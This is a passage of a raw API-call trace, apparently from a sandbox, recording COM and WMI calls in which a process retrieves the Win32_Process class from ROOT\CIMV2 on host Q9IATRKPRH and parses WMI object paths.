WbemLocator:IUnknown:Release (This=0x1bc432e0) returned 0x2 [0162.732] WbemLocator:IUnknown:Release (This=0x1bc43320) returned 0x1 [0162.732] CoTaskMemFree (pv=0x1bc1a100) [0162.732] WbemLocator:IUnknown:AddRef (This=0x1bc37410) returned 0x2 [0162.732] WbemLocator:IUnknown:Release (This=0x1bce6e60) returned 0x0 [0162.733] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0162.733] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0162.733] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc37410, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1bc432f0) returned 0x0 [0162.733] WbemLocator:IRpcOptions:Query (in: This=0x1bc432f0, pPrx=0x1bce6dc0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0162.733] WbemLocator:IUnknown:Release (This=0x1bc432f0) returned 0x2 [0162.733] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0162.733] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0162.733] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc37410, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bc37410) returned 0x0 [0162.733] WbemLocator:IUnknown:Release (This=0x1bc37410) returned 0x2 [0162.734] SysStringLen (param_1=0x0) returned 0x0 [0162.734] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a350, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0162.734] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0162.734] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a350, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0162.734] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a410, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0162.734] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0a410, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0162.734] IWbemServices:GetObject (in: This=0x1bc37410, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bb93760, ppCallResult=0x0) returned 0x0 [0162.738] IWbemClassObject:Get (in: This=0x1bb93760, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0162.738] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0162.738] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0162.738] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0162.738] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0162.738] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0162.738] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.740] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bce6e60) returned 0x0 [0162.741] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6e60, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0162.741] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6e60, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1aa0a290) returned 0x0 [0162.741] WbemDefPath:IUnknown:Release (This=0x1bce6e60) returned 0x0 [0162.741] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1aa0a290) returned 0x0 [0162.741] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0162.741] WbemDefPath:IUnknown:AddRef (This=0x1aa0a290) returned 0x3 [0162.741] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0162.741] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0162.741] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bce6e80) returned 0x0 [0162.741] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6e80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.741] WbemDefPath:IUnknown:Release (This=0x1bce6e80) returned 0x3 [0162.741] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0162.741] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0162.741] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0162.742] WbemDefPath:IUnknown:Release (This=0x1aa0a290) returned 0x2 [0162.742] WbemDefPath:IUnknown:Release (This=0x1aa0a290) returned 0x1 [0162.742] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0162.742] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0162.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a290, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1aa0a290) returned 0x0 [0162.742] WbemDefPath:IUnknown:AddRef (This=0x1aa0a290) returned 0x3 [0162.742] WbemDefPath:IUnknown:Release (This=0x1aa0a290) returned 0x2 [0162.742] WbemDefPath:IWbemPath:SetText (This=0x1aa0a290, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0162.742] IWbemClassObject:Get (in: This=0x1bb93760, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0162.742] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.742] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.742] IWbemClassObject:Get (in: This=0x1bb93760, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0162.742] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0162.743] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0162.743] IWbemClassObject:Get (in: This=0x1bb93760, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0162.743] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0162.743] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0162.743] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0162.743] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0162.743] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0162.743] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.745] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce71c0) returned 0x0 [0162.745] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce71c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0162.745] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce71c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc955f0) returned 0x0 [0162.746] WbemDefPath:IUnknown:Release (This=0x1bce71c0) returned 0x0 [0162.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc955f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc955f0) returned 0x0 [0162.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc955f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0162.746] WbemDefPath:IUnknown:AddRef (This=0x1bc955f0) returned 0x3 [0162.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc955f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0162.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc955f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0162.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc955f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce7100) returned 0x0 [0162.746] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce7100, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.746] WbemDefPath:IUnknown:Release (This=0x1bce7100) returned 0x3 [0162.746] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0162.746] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0162.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc955f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0162.746] WbemDefPath:IUnknown:Release (This=0x1bc955f0) returned 0x2 [0162.746] WbemDefPath:IUnknown:Release (This=0x1bc955f0) returned 0x1 [0162.746] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0162.747] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0162.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc955f0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc955f0) returned 0x0 [0162.747] WbemDefPath:IUnknown:AddRef (This=0x1bc955f0) returned 0x3 [0162.747] WbemDefPath:IUnknown:Release (This=0x1bc955f0) returned 0x2 [0162.747] WbemDefPath:IWbemPath:SetText (This=0x1bc955f0, uMode=0x4, pszPath="") returned 0x0 [0162.747] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0162.747] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0162.748] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0162.748] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.750] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce71c0) returned 0x0 [0162.750] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce71c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0162.751] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce71c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc95170) returned 0x0 [0162.751] WbemDefPath:IUnknown:Release (This=0x1bce71c0) returned 0x0 [0162.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95170, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc95170) returned 0x0 [0162.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95170, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0162.751] WbemDefPath:IUnknown:AddRef (This=0x1bc95170) returned 0x3 [0162.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95170, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0162.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95170, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0162.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95170, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce7140) returned 0x0 [0162.751] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce7140, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.751] WbemDefPath:IUnknown:Release (This=0x1bce7140) returned 0x3 [0162.751] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0162.751] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0162.751] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95170, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0162.752] WbemDefPath:IUnknown:Release (This=0x1bc95170) returned 0x2 [0162.752] WbemDefPath:IUnknown:Release (This=0x1bc95170) returned 0x1 [0162.752] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0162.752] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0162.752] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc95170, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc95170) returned 0x0 [0162.752] WbemDefPath:IUnknown:AddRef (This=0x1bc95170) returned 0x3 [0162.752] WbemDefPath:IUnknown:Release (This=0x1bc95170) returned 0x2 [0162.752] WbemDefPath:IWbemPath:SetText (This=0x1bc95170, uMode=0x4, pszPath="") returned 0x0 [0162.752] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95170, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0162.752] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc955f0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0162.752] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc95170, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0162.752] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc95170, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0162.752] WbemDefPath:IWbemPath:SetServer (This=0x1bc95170, Name="Q9IATRKPRH") returned 0x0 [0162.752] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0162.752] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0162.752] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0162.752] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.754] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), 